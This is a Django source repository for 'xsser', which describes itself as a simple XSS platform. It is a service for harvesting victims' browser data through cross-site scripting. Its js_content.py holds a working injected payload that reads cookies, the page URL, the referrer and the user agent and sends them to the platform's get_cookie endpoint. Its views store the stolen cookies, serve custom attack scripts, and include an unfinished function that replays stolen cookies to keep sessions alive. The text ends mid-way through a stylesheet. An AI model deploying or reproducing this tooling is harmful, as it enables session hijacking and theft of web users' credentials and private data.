├── .gitignore ├── README.md ├── account ├── __init__.py ├── forms.py ├── models.py ├── tests.py ├── utils.py └── views.py ├── core ├── __init__.py ├── admin.py ├── js_content.py ├── models.py ├── tests.py └── views.py ├── db.db ├── manage.py ├── static ├── css │ ├── bootstrap-theme.css │ ├── bootstrap-theme.min.css │ ├── bootstrap.css │ ├── bootstrap.min.css │ ├── messenger-theme-flat.css │ └── messenger.css └── js │ ├── bootstrap.js │ ├── bootstrap.min.js │ ├── change_password.js │ ├── jquery.js │ ├── login.js │ ├── messenger-theme-future.js │ ├── messenger.min.js │ └── register.js ├── templates ├── _nav_bar.html ├── account │ ├── _login_form.html │ ├── _register_form.html │ ├── change_password.html │ ├── login_form.html │ └── register_form.html ├── base.html └── core │ ├── create_project.html │ ├── func_test.html │ ├── my_project.html │ ├── project_detail.html │ └── project_settings.html ├── xsser.db └── xsser ├── __init__.py ├── settings.py ├── urls.py └── wsgi.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | bin/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # Installer logs 26 | pip-log.txt 27 | pip-delete-this-directory.txt 28 | 29 | # Unit test / coverage reports 30 | htmlcov/ 31 | .tox/ 32 | .coverage 33 | .cache 34 | nosetests.xml 35 | coverage.xml 36 | 37 | # Translations 38 | *.mo 39 | 40 | # Mr Developer 41 | .mr.developer.cfg 42 | .project 43 | .pydevproject 44 | 45 | # Rope 46 | .ropeproject 47 | 48 | # Django stuff: 49 | *.log 50 | *.pot 51 | 52 | # Sphinx documentation 53 | docs/_build/ 54 | 55 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | xsser 2 | ===== 3 | A simple xss platform. 4 | 本程序正在修改,请暂时不要使用! 5 | -------------------------------------------------------------------------------- /account/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/virusdefender/xsser/7e748af42f53bbe7b6f7be84c70efc289d4b300a/account/__init__.py -------------------------------------------------------------------------------- /account/forms.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | from django import forms 3 | from django.contrib.auth.models import User 4 | 5 | 6 | class LoginForm(forms.Form): 7 | username = forms.CharField(max_length=10, required=True, 8 | error_messages={"required": "Please input username", 9 | "invalid": "Invalid username", 10 | "max_length": "Username is too long"}) 11 | password = forms.CharField(required=True, 12 | error_messages={"required": "Please input password"}) 13 | 14 | 15 | class RegisterForm(forms.Form): 16 | username = forms.CharField(max_length=10, required=True, 17 | error_messages={"required": "Please input username", 18 | "invalid": "Invalid username", 19 | "max_length": "Username is too long"}) 20 | email = forms.EmailField(max_length=30, required=True, 21 | error_messages={"required": "Please input email", 22 | "invalid": "Invalid email", 23 | "max_length": "Email is too long"}) 24 | password = forms.CharField(min_length=6, max_length=20, required=True, 25 | error_messages={"required": "Please input password", 26 | "min_length": "Password is too short", 27 | "max_length": "Password is too long"}) 28 | confirm_password = forms.CharField(min_length=6, max_length=20, required=True, 29 | error_messages={"required": "Please confirm password", 30 | "min_length": "Password is too short", 31 | "max_length": "Password is too long"}) 32 | 33 | def clean_username(self): 34 | try: 35 | User.objects.get(username=self.cleaned_data["username"]) 36 | raise forms.ValidationError("Username already exist") 37 | except User.DoesNotExist: 38 | return self.cleaned_data["username"] 39 | 40 | def clean_email(self): 41 | try: 42 | User.objects.get(email=self.cleaned_data["email"]) 43 | raise forms.ValidationError("Email already exist") 44 | except User.DoesNotExist: 45 | return self.cleaned_data["email"] 46 | 47 | def clean(self): 48 | super(RegisterForm, self).clean() 49 | if "password" in self.cleaned_data and "confirm_password" in self.cleaned_data: 50 | if self.cleaned_data["password"] != self.cleaned_data["confirm_password"]: 51 | raise forms.ValidationError("Two passwords do not match") 52 | return self.cleaned_data 53 | 54 | 55 | class ChangePswForm(forms.Form): 56 | username = forms.CharField(max_length=10, required=True, 57 | error_messages={"required": "Please input username", 58 | "invalid": "Invalid username", 59 | "max_length": "Username is too long"}) 60 | old_password = forms.CharField(required=True, 61 | error_messages={"required": "Please input old password"}) 62 | new_password = forms.CharField(min_length=6, max_length=20, required=True, 63 | error_messages={"required": "Please input password", 64 | "min_length": "New password is too short", 65 | "max_length": "New Password is too long"}) 66 | confirm_new_password = forms.CharField(min_length=6, max_length=20, required=True, 67 | error_messages={"required": "Please confirm password", 68 | "min_length": "New Password is too short", 69 | "max_length": "New password is too long"}) 70 | 71 | def clean(self): 72 | super(ChangePswForm, self).clean() 73 | if "new_password" in self.cleaned_data and "confirm_new_password" in self.cleaned_data: 74 | if self.cleaned_data["new_password"] != self.cleaned_data["confirm_new_password"]: 75 | raise forms.ValidationError("Two passwords do not match") 76 | return self.cleaned_data 77 | 78 | -------------------------------------------------------------------------------- /account/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /account/tests.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | ####### 3 | #这个单元测试不是正确的!!!! 4 | ####### 5 | import json 6 | from django.contrib.auth.models import User 7 | from django.core.urlresolvers import reverse 8 | from django.test import TestCase 9 | from django.test.client import Client 10 | 11 | 12 | class UserRegisterTest(TestCase): 13 | def setUp(self): 14 | self.client = Client() 15 | 16 | def test_register_with_correct_info(self): 17 | response = self.client.post(reverse("register"), {"username": "test", 18 | "email": "test@qq.com", 19 | "password": "111111", 20 | "confirm_password": "111111"}) 21 | print json.loads(response.content) 22 | self.assertEqual(json.loads(response.content)["status"], "success") 23 | 24 | def test_register_with_invalid_username(self): 25 | response = self.client.post(reverse("register"), {"username1": "test111111111111", 26 | "email": "test@qq.com", 27 | "password": "111111", 28 | "confirm_password": "111111"}) 29 | self.assertEqual(json.loads(response.content)["status"], "error") 30 | 31 | response = self.client.post(reverse("register"), {"username1": "@@##$$", 32 | "email": "test@qq.com", 33 | "password": "111111", 34 | "confirm_password": "111111"}) 35 | self.assertEqual(json.loads(response.content)["status"], "error") 36 | 37 | def test_register_the_same_username(self): 38 | self.client.post(reverse("register"), {"username": "test", 39 | "email": "test@qq.com", 40 | "password": "111111", 41 | "confirm_password": "111111"}) 42 | response = self.client.post(reverse("register"), {"username": "test", 43 | "email": "test@qq.com", 44 | "password": "111222", 45 | "confirm_password": "111222"}) 46 | self.assertEqual(json.loads(response.content)["status"], "error") 47 | 48 | def test_register_the_same_email(self): 49 | self.client.post(reverse("register"), {"username": "test", 50 | "email": "test@qq.com", 51 | "password": "111111", 52 | "confirm_password": "111111"}) 53 | response = self.client.post(reverse("register"), {"username": "test1", 54 | "email": "test@qq.com", 55 | "password": "111222", 56 | "confirm_password": "111222"}) 57 | self.assertEqual(json.loads(response.content)["status"], "error") 58 | 59 | def test_register_with_invalid_email(self): 60 | response = self.client.post(reverse("register"), {"username": "test1", 61 | "email": "test.qq.com", 62 | "password": "111111", 63 | "confirm_password": "111111"}) 64 | self.assertEqual(json.loads(response.content)["status"], "error") 65 | 66 | def test_register_with_different_psw(self): 67 | response = self.client.post(reverse("register"), {"username": "test1", 68 | "email": "test@qq.com", 69 | "password": "1111112", 70 | "confirm_password": "111111"}) 71 | self.assertEqual(json.loads(response.content)["status"], "error") 72 | 73 | def test_register_with_empty_psw(self): 74 | response = self.client.post(reverse("register"), {"username": "test1", 75 | "email": "test@qq.com", 76 | "password": "", 77 | "confirm_password": ""}) 78 | self.assertEqual(json.loads(response.content)["status"], "error") 79 | 80 | 81 | class UserLoginTest(TestCase): 82 | def setUp(self): 83 | self.user = User(username="testuser") 84 | self.user.set_password("111111") 85 | self.user.save() 86 | self.client = Client() 87 | 88 | def test_login_with_correct_info(self): 89 | response = self.client.post(reverse("login"), {"username": "testuser", 90 | "password": "111111"}) 91 | self.assertEqual(json.loads(response.content)["status"], "success") 92 | 93 | def test_login_with_error_info(self): 94 | response = self.client.post(reverse("login"), {"username": "testuser1", 95 | "password": "111111"}) 96 | self.assertEqual(json.loads(response.content)["status"], "error") 97 | 98 | 99 | class UserChangePwdTest(TestCase): 100 | def setUp(self): 101 | self.user = User(username="testuser") 102 | self.user.set_password("111111") 103 | self.user.save() 104 | self.client = Client() 105 | self.client.login(username="testuser", password="111111") 106 | 107 | def test_change_pwd_with_correct_info(self): 108 | self.client.login(username="testuser", password="111111") 109 | response = self.client.post(reverse("change_password"), {"old_password": "111111", 110 | "new_password": "123456", 111 | "confirm_new_password": "123456"}) 112 | self.assertEqual(json.loads(response.content)["status"], "success") 113 | 114 | def test_change_pwd_without_login(self): 115 | self.client.logout() 116 | response = self.client.post(reverse("change_password"), {"old_password": "111111", 117 | "new_password": "123456", 118 | "confirm_new_password": "123456"}) 119 | self.assertRedirects(response, reverse("login") + '?next=/change_password/') 120 | 121 | def test_change_pwd_with_error_old_pwd(self): 122 | self.client.login(username="testuser", password="111111") 123 | response = self.client.post(reverse("change_password"), {"old_password": "111112", 124 | "new_password": "123456", 125 | "confirm_new_password": "123456"}) 126 | self.assertEqual(json.loads(response.content)["status"], "error") 127 | 128 | def test_change_pwd_with_different_new_pwd(self): 129 | self.client.login(username="testuser", password="111111") 130 | response = self.client.post(reverse("change_password"), {"old_password": "111111", 131 | "new_password": "123456", 132 | "confirm_new_password": "123453"}) 133 | self.assertEqual(json.loads(response.content)["status"], "error") 134 | 135 | def test_change_psw_with_empty_new_psw(self): 136 | self.client.login(username="testuser", password="111111") 137 | response = self.client.post(reverse("change_password"), {"old_password": "111111", 138 | "new_password": "", 139 | "confirm_new_password": ""}) 140 | self.assertEqual(json.loads(response.content)["status"], "error") 141 | -------------------------------------------------------------------------------- /account/utils.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | from django.contrib.auth.models import User 3 | 4 | 5 | #看某个用户名是否存在 6 | def user_exist(username): 7 | try: 8 | User.objects.get(username=username) 9 | except User.DoesNotExist: 10 | return False 11 | return True -------------------------------------------------------------------------------- /account/views.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | import json 3 | import re 4 | from django.contrib.auth.decorators import login_required 5 | from django.contrib.auth.models import User 6 | from django.http import HttpResponse, Http404, HttpResponseRedirect 7 | from django.contrib import auth 8 | from django.shortcuts import render, redirect 9 | from .forms import RegisterForm, LoginForm, ChangePswForm 10 | 11 | """ 12 | def message(status, content): 13 | response_json = {"status": status, "content": content} 14 | return HttpResponse(json.dumps(response_json)) 15 | 16 | 17 | def register(request): 18 | if request.method == "POST": 19 | username = request.POST.get("username", " ").strip() 20 | email = request.POST.get("email", " ").strip() 21 | password = request.POST.get("password", " ").strip() 22 | password1 = request.POST.get('password1', " ").strip() 23 | 24 | if not (3 <= len(username) <= 10): 25 | return message("error", u"Invalid username length") 26 | 27 | r = re.compile(r"[A-Za-z0-9\u4e00-\u9fa5]+") 28 | if not r.match(username): 29 | return message("error", u"Invalid username format") 30 | 31 | username_is_exist = User.objects.filter(username=username).exists() 32 | if username_is_exist: 33 | return message("error", u"Username already exists") 34 | 35 | r = re.compile(r"[^@]+@[^@]+\.[^@]+") 36 | if not r.match(email): 37 | return message("error", u"Invalid email format") 38 | 39 | email_is_exist = User.objects.filter(email=email).exists() 40 | if email_is_exist: 41 | return message("error", u"Email already exists") 42 | 43 | if password != password1: 44 | return message("error", u"Two passwords do not match") 45 | 46 | if len(password) < 6: 47 | return message("error", u"Password is too short") 48 | 49 | User.objects.create_user(username=username, password=password, email=email) 50 | next = request.POST.get("next", "/my_projects/") 51 | response_json = {"status": "success", "redirect": next} 52 | return HttpResponse(json.dumps(response_json)) 53 | 54 | else: 55 | next = request.GET.get("next", "/my_projects/") 56 | return render(request, "account/register_form.html", {"next": next}) 57 | 58 | """ 59 | 60 | 61 | def register(request): 62 | if request.method == "POST": 63 | register_form = RegisterForm(request.POST) 64 | if register_form.is_valid(): 65 | username = register_form.cleaned_data["username"] 66 | email = register_form.cleaned_data["email"] 67 | password = register_form.cleaned_data["password"] 68 | User.objects.create_user(username=username, password=password, email=email) 69 | next = request.POST.get("next", "/my_projects/") 70 | response_json = {"status": "success", "redirect": next} 71 | return HttpResponse(json.dumps(response_json)) 72 | else: 73 | response_json = {"status": "error", "content": register_form.errors.items()[0][1][0]} 74 | return HttpResponse(json.dumps(response_json)) 75 | else: 76 | next = request.GET.get("next", "/my_projects/") 77 | return render(request, "account/register_form.html", {"next": next}) 78 | 79 | 80 | def login(request): 81 | if request.method == "POST": 82 | login_form = LoginForm(request.POST) 83 | if login_form.is_valid(): 84 | username = login_form.cleaned_data["username"] 85 | password = login_form.cleaned_data["password"] 86 | user = auth.authenticate(username=username, password=password) 87 | if user is not None and user.is_active: 88 | auth.logout(request) 89 | auth.login(request, user) 90 | next = request.POST.get("next", "/my_projects/") 91 | #if next == "" or "/register/": 92 | #next = "/" 93 | response_json = {"status": "success", "redirect": next} 94 | return HttpResponse(json.dumps(response_json)) 95 | else: 96 | response_json = {"status": "error", "content": u"Invalid Username or password"} 97 | return HttpResponse(json.dumps(response_json)) 98 | else: 99 | response_json = {"status": "error", "content": login_form.errors.items()[0][1][0]} 100 | return HttpResponse(json.dumps(response_json)) 101 | else: 102 | next = request.GET.get("next", "/my_projects/") 103 | return render(request, "account/login_form.html", {"next": next}) 104 | 105 | 106 | def logout(request): 107 | auth.logout(request) 108 | return redirect("index") 109 | 110 | 111 | @login_required(login_url="/login/") 112 | def change_password(request): 113 | if request.method == "POST": 114 | change_psw_form = ChangePswForm(request.POST) 115 | if change_psw_form.is_valid(): 116 | username = change_psw_form.cleaned_data["username"] 117 | old_password = change_psw_form.cleaned_data["old_password"] 118 | password = change_psw_form.cleaned_data["new_password"] 119 | if auth.authenticate(username=username, password=old_password): 120 | user = User.objects.get(username=request.user.username) 121 | user.set_password(password) 122 | user.save() 123 | auth.logout(request) 124 | response_json = {"status": "success", "redirect": "/login/"} 125 | return HttpResponse(json.dumps(response_json)) 126 | else: 127 | response_json = {"status": "error", "content": u"Old password is incorrect"} 128 | return HttpResponse(json.dumps(response_json)) 129 | else: 130 | response_json = {"status": "error", "content": change_psw_form.errors.items()[0][1][0]} 131 | return HttpResponse(json.dumps(response_json)) 132 | else: 133 | return render(request, "account/change_password.html") 134 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/virusdefender/xsser/7e748af42f53bbe7b6f7be84c70efc289d4b300a/core/__init__.py -------------------------------------------------------------------------------- /core/admin.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | from django.contrib import admin 3 | from .models import XssProject, Record 4 | 5 | admin.site.register(XssProject) 6 | admin.site.register(Record) -------------------------------------------------------------------------------- /core/js_content.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | from xsser.settings import BASE_URL 4 | 5 | 6 | def js_content(project_id): 7 | js_content = u""" 8 | /* 9 | xssprobe 10 | by evilcos@gmail.com | @xeyeteam 11 | */ 12 | 13 | // 获取隐私信息的服务端页面,这里需配置为自己的probe.php网址 14 | http_server = "%sget_cookie/?id=%s&p="; 15 | 16 | var info = {}; // 隐私信息字典 17 | info.browser = function(){ 18 | ua = navigator.userAgent.toLowerCase(); 19 | var rwebkit = /(webkit)[ \/]([\w.]+)/; 20 | var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/; 21 | var rmsie = /(msie) ([\w.]+)/; 22 | var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/; 23 | var match = rwebkit.exec( ua ) || 24 | ropera.exec( ua ) || 25 | rmsie.exec( ua ) || 26 | ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) || 27 | []; 28 | return {name: match[1] || "", version: match[2] || "0"}; 29 | }(); 30 | info.ua = escape(navigator.userAgent); 31 | info.lang = navigator.language; 32 | info.referrer = escape(document.referrer); 33 | info.location = escape(window.location.href); 34 | info.toplocation = escape(top.location.href); 35 | info.cookie = escape(document.cookie.replace(/\"/g,"'")); 36 | info.domain = document.domain; 37 | info.title = escape(document.title.replace(/\"/g,"'")); 38 | info.screen = function(){ 39 | var c = ""; 40 | if (self.screen) {c = screen.width+"x"+screen.height;} 41 | return c; 42 | }(); 43 | info.flash = function(){ 44 | var f="",n=navigator; 45 | if (n.plugins && n.plugins.length) { 46 | for (var ii=0;ii=2;ii--) { 56 | try { 57 | var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');"); 58 | if (fl) { 59 | f=ii + '.0'; 60 | break; 61 | } 62 | } 63 | catch(e) {} 64 | } 65 | } 66 | return f; 67 | }(); 68 | 69 | function json2str(o) { 70 | var arr = []; 71 | var fmt = function(s) { 72 | if (typeof s == 'object' && s != null) return json2str(s); 73 | return /^(string|number)$/.test(typeof s) ? '"' + s + '"' : s; 74 | } 75 | for (var i in o) arr.push('"' + i + '":' + fmt(o[i])); 76 | return '{' + arr.join(',') + '}'; 77 | } 78 | 79 | 80 | var i = json2str(info); 81 | new Image().src = http_server + i; 82 | 83 | """ % (BASE_URL, project_id) 84 | return js_content 85 | -------------------------------------------------------------------------------- /core/models.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | from django.db import models 3 | from django.contrib.auth.models import User 4 | 5 | 6 | class Record(models.Model): 7 | create_time = models.DateTimeField(auto_now_add=True) 8 | browser = models.CharField(max_length=100, blank=True) 9 | language = models.CharField(max_length=20, blank=True) 10 | cookie = models.TextField(blank=True) 11 | referer = models.CharField(max_length=300, blank=True) 12 | location = models.CharField(max_length=300, blank=True) 13 | top_location = models.CharField(max_length=300, blank=True) 14 | domain = models.CharField(max_length=50, blank=True) 15 | screen = models.CharField(max_length=30, blank=True) 16 | flash = models.CharField(max_length=30, blank=True) 17 | user_agent = models.CharField(max_length=150, blank=True) 18 | ip = models.IPAddressField(blank=True) 19 | title = models.CharField(max_length=50, blank=True) 20 | 21 | def __unicode__(self): 22 | return "%s" % (self.create_time, ) 23 | 24 | 25 | class XssProject(models.Model): 26 | id = models.CharField(max_length=20, primary_key=True, unique=True) 27 | user = models.ForeignKey(User) 28 | title = models.CharField(max_length=30) 29 | records = models.ManyToManyField(Record, blank=True, null=True) 30 | create_time = models.DateTimeField(auto_now_add=True) 31 | keep_session = models.BooleanField(default=False) 32 | custom_js = models.BooleanField(default=False) 33 | custom_js_content = models.TextField(blank=True) 34 | 35 | def __unicode__(self): 36 | return "%s" % self.title 37 | -------------------------------------------------------------------------------- /core/tests.py: -------------------------------------------------------------------------------- 1 | """ 2 | This file demonstrates writing tests using the unittest module. These will pass 3 | when you run "manage.py test". 4 | 5 | Replace this with more appropriate tests for your application. 6 | """ 7 | 8 | from django.test import TestCase 9 | 10 | 11 | class SimpleTest(TestCase): 12 | def test_basic_addition(self): 13 | """ 14 | Tests that 1 + 1 always equals 2. 15 | """ 16 | self.assertEqual(1 + 1, 2) 17 | -------------------------------------------------------------------------------- /core/views.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | import time 3 | import json 4 | import urllib2 5 | import random 6 | import hashlib 7 | from django.core.paginator import Paginator 8 | from django.contrib.auth.models import User 9 | from django.contrib.auth.decorators import login_required 10 | from django.http import HttpResponse, Http404, HttpResponseRedirect, HttpResponseForbidden 11 | from django.shortcuts import render, redirect, render_to_response 12 | from xsser.settings import BASE_URL 13 | from .models import XssProject, Record 14 | from .js_content import js_content 15 | 16 | 17 | @login_required(login_url="/login/") 18 | def create_project(request): 19 | if request.method == "GET": 20 | return render(request, "core/create_project.html") 21 | else: 22 | title = request.POST.get("title") 23 | if not title: 24 | return HttpResponse("Please input title") 25 | if len(title) > 25: 26 | title = title[:25] 27 | project_id = hashlib.md5(unicode(random.uniform(1, 10) + time.time())).hexdigest()[:15] 28 | p = XssProject.objects.create(pk=project_id, user=request.user, title=title) 29 | return HttpResponseRedirect("/project?id=%s" % p.id) 30 | 31 | 32 | @login_required(login_url="/login/") 33 | def project_detail(request): 34 | project_id = request.GET.get("id", "-1") 35 | page_num = request.GET.get("p", "1") 36 | try: 37 | project = XssProject.objects.get(pk=project_id, user=request.user) 38 | except XssProject.DoesNotExist: 39 | raise Http404 40 | if "csrftoken" in request.COOKIES: 41 | token = request.COOKIES["csrftoken"] 42 | else: 43 | token = "" 44 | record_page_info = Paginator(project.records.all().order_by("-create_time"), 20) 45 | total_page = record_page_info.num_pages 46 | if int(page_num) > total_page: 47 | raise Http404 48 | have_pre = have_next = True 49 | if int(page_num) == 1: 50 | have_pre = False 51 | if int(page_num) == total_page: 52 | have_next = False 53 | return render(request, "core/project_detail.html", {"records": record_page_info.page(int(page_num)), 54 | "project": project, 55 | 56 | "base_url": BASE_URL, 57 | "token": token, 58 | "page_num": page_num, 59 | "have_next": have_next, 60 | "have_pre": have_pre, 61 | "next_page_num": unicode(int(page_num) + 1), 62 | "pre_page_num": unicode(int(page_num) - 1), }) 63 | 64 | 65 | #TODO:获取ip等信息可能存在绕过 66 | def get_cookie(request): 67 | project_id = request.GET.get("id", "-1") 68 | if "HTTP_X_FORWARDED_FOR" in request.META: 69 | ip = request.META['HTTP_X_FORWARDED_FOR'] 70 | else: 71 | ip = request.META['REMOTE_ADDR'] 72 | print request.GET.get("p") 73 | try: 74 | content = json.loads(request.GET.get("p", "{}")) 75 | except Exception: 76 | return HttpResponse("error") 77 | #print "error" 78 | #print content 79 | 80 | try: 81 | p = XssProject.objects.get(pk=project_id) 82 | except XssProject.DoesNotExist: 83 | raise Http404 84 | r = Record.objects.create(browser=content["browser"]["name"] + " " + content["browser"]["version"], 85 | ip=ip, 86 | user_agent=content["ua"], 87 | language=content["lang"], 88 | referer=content["referrer"], 89 | location=content["location"], 90 | top_location=content["toplocation"], 91 | cookie=content["cookie"], 92 | domain=content["domain"], 93 | title=content["title"], 94 | screen=content["screen"], 95 | flash=content["flash"]) 96 | 97 | p.records.add(r) 98 | p.save() 99 | return HttpResponse("success") 100 | 101 | 102 | def xss_js(request): 103 | project_id = request.GET.get("id", "-1") 104 | try: 105 | p = XssProject.objects.get(pk=project_id) 106 | except XssProject.DoesNotExist: 107 | raise Http404 108 | if p.custom_js: 109 | js = p.custom_js_content 110 | else: 111 | js = js_content(p.id) 112 | return HttpResponse(js) 113 | 114 | 115 | @login_required(login_url="/login/") 116 | def my_projects(request): 117 | p = XssProject.objects.filter(user=request.user) 118 | return render(request, "core/my_project.html", {"projects": p}) 119 | 120 | 121 | @login_required(login_url="/login/") 122 | def delete_project(request): 123 | project_id = request.GET.get("id", "-1") 124 | token = request.GET.get("token", " ") 125 | 126 | if "csrftoken" in request.COOKIES: 127 | if token == request.COOKIES["csrftoken"]: 128 | try: 129 | p = XssProject.objects.get(user=request.user, pk=project_id) 130 | p.records.all().delete() 131 | p.delete() 132 | return HttpResponse("success") 133 | except XssProject.DoesNotExist: 134 | raise Http404 135 | return HttpResponseForbidden("Invalid Token") 136 | 137 | 138 | @login_required(login_url="/login/") 139 | def delete_record(request): 140 | project_id = request.GET.get("project_id", "-1") 141 | record_id = request.GET.get("record_id", "-1") 142 | token = request.GET.get("token", "-1") 143 | print token 144 | print request.COOKIES["csrftoken"] 145 | if "csrftoken" in request.COOKIES: 146 | if token == request.COOKIES["csrftoken"]: 147 | try: 148 | p = XssProject.objects.get(pk=project_id, user=request.user) 149 | p.records.all().filter(id=record_id).delete() 150 | return HttpResponse("success") 151 | except XssProject.DoesNotExist: 152 | raise Http404 153 | return HttpResponseForbidden("Invalid Token") 154 | 155 | 156 | @login_required(login_url="/login/") 157 | def project_settings(request, project_id): 158 | try: 159 | p = XssProject.objects.get(pk=project_id, user=request.user) 160 | except XssProject.DoesNotExist: 161 | raise Http404 162 | if request.method == "GET": 163 | return render(request, "core/project_settings.html", {"project": p}) 164 | else: 165 | checkbox_list = request.POST.getlist("settings") 166 | if "custom_js" in checkbox_list: 167 | p.custom_js = True 168 | p.custom_js_content = request.POST.get("custom_js_content") 169 | print p.custom_js_content 170 | else: 171 | p.custom_js = False 172 | if "keep_session" in checkbox_list: 173 | p.keep_session = True 174 | else: 175 | p.keep_session = False 176 | 177 | p.save() 178 | return HttpResponseRedirect("/project/settings/%s/" % p.id) 179 | 180 | 181 | def func_test(request): 182 | response = render_to_response("core/func_test.html", {}) 183 | response.set_cookie("test_cookie", "'1234567&&%") 184 | return response 185 | 186 | 187 | #演示功能 还不能用~ 188 | def keep_session(request): 189 | p = XssProject.objects.filter(keep_session=True) 190 | for item in p: 191 | for record in item.records.all(): 192 | try: 193 | req = urllib2.Request(record.url) 194 | req.add_header("cookie", record.cookie) 195 | response = urllib2.urlopen(req) 196 | #print response.read() 197 | except urllib2.URLError: 198 | pass 199 | 200 | return HttpResponse("success") 201 | 202 | 203 | 204 | 205 | -------------------------------------------------------------------------------- /db.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/virusdefender/xsser/7e748af42f53bbe7b6f7be84c70efc289d4b300a/db.db -------------------------------------------------------------------------------- /manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "xsser.settings") 7 | 8 | from django.core.management import execute_from_command_line 9 | 10 | execute_from_command_line(sys.argv) 11 | -------------------------------------------------------------------------------- /static/css/bootstrap-theme.css: -------------------------------------------------------------------------------- 1 | .btn-default, 2 | .btn-primary, 3 | .btn-success, 4 | .btn-info, 5 | .btn-warning, 6 | .btn-danger { 7 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2); 8 | -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075); 9 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075); 10 | } 11 | 12 | .btn-default:active, 13 | .btn-primary:active, 14 | .btn-success:active, 15 | .btn-info:active, 16 | .btn-warning:active, 17 | .btn-danger:active, 18 | .btn-default.active, 19 | .btn-primary.active, 20 | .btn-success.active, 21 | .btn-info.active, 22 | .btn-warning.active, 23 | .btn-danger.active { 24 | -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); 25 | box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); 26 | } 27 | 28 | .btn:active, 29 | .btn.active { 30 | background-image: none; 31 | } 32 | 33 | .btn-default { 34 | text-shadow: 0 1px 0 #fff; 35 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ffffff), to(#e6e6e6)); 36 | background-image: -webkit-linear-gradient(top, #ffffff, 0%, #e6e6e6, 100%); 37 | background-image: -moz-linear-gradient(top, #ffffff 0%, #e6e6e6 100%); 38 | background-image: linear-gradient(to bottom, #ffffff 0%, #e6e6e6 100%); 39 | background-repeat: repeat-x; 40 | border-color: #e0e0e0; 41 | border-color: #ccc; 42 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0); 43 | } 44 | 45 | .btn-default:active, 46 | .btn-default.active { 47 | background-color: #e6e6e6; 48 | border-color: #e0e0e0; 49 | } 50 | 51 | .btn-primary { 52 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#3071a9)); 53 | background-image: -webkit-linear-gradient(top, #428bca, 0%, #3071a9, 100%); 54 | background-image: -moz-linear-gradient(top, #428bca 0%, #3071a9 100%); 55 | background-image: linear-gradient(to bottom, #428bca 0%, #3071a9 100%); 56 | background-repeat: repeat-x; 57 | border-color: #2d6ca2; 58 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff3071a9', GradientType=0); 59 | } 60 | 61 | .btn-primary:active, 62 | .btn-primary.active { 63 | background-color: #3071a9; 64 | border-color: #2d6ca2; 65 | } 66 | 67 | .btn-success { 68 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#5cb85c), to(#449d44)); 69 | background-image: -webkit-linear-gradient(top, #5cb85c, 0%, #449d44, 100%); 70 | background-image: -moz-linear-gradient(top, #5cb85c 0%, #449d44 100%); 71 | background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); 72 | background-repeat: repeat-x; 73 | border-color: #419641; 74 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); 75 | } 76 | 77 | .btn-success:active, 78 | .btn-success.active { 79 | background-color: #449d44; 80 | border-color: #419641; 81 | } 82 | 83 | .btn-warning { 84 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f0ad4e), to(#ec971f)); 85 | background-image: -webkit-linear-gradient(top, #f0ad4e, 0%, #ec971f, 100%); 86 | background-image: -moz-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); 87 | background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); 88 | background-repeat: repeat-x; 89 | border-color: #eb9316; 90 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); 91 | } 92 | 93 | .btn-warning:active, 94 | .btn-warning.active { 95 | background-color: #ec971f; 96 | border-color: #eb9316; 97 | } 98 | 99 | .btn-danger { 100 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#d9534f), to(#c9302c)); 101 | background-image: -webkit-linear-gradient(top, #d9534f, 0%, #c9302c, 100%); 102 | background-image: -moz-linear-gradient(top, #d9534f 0%, #c9302c 100%); 103 | background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); 104 | background-repeat: repeat-x; 105 | border-color: #c12e2a; 106 | filter: 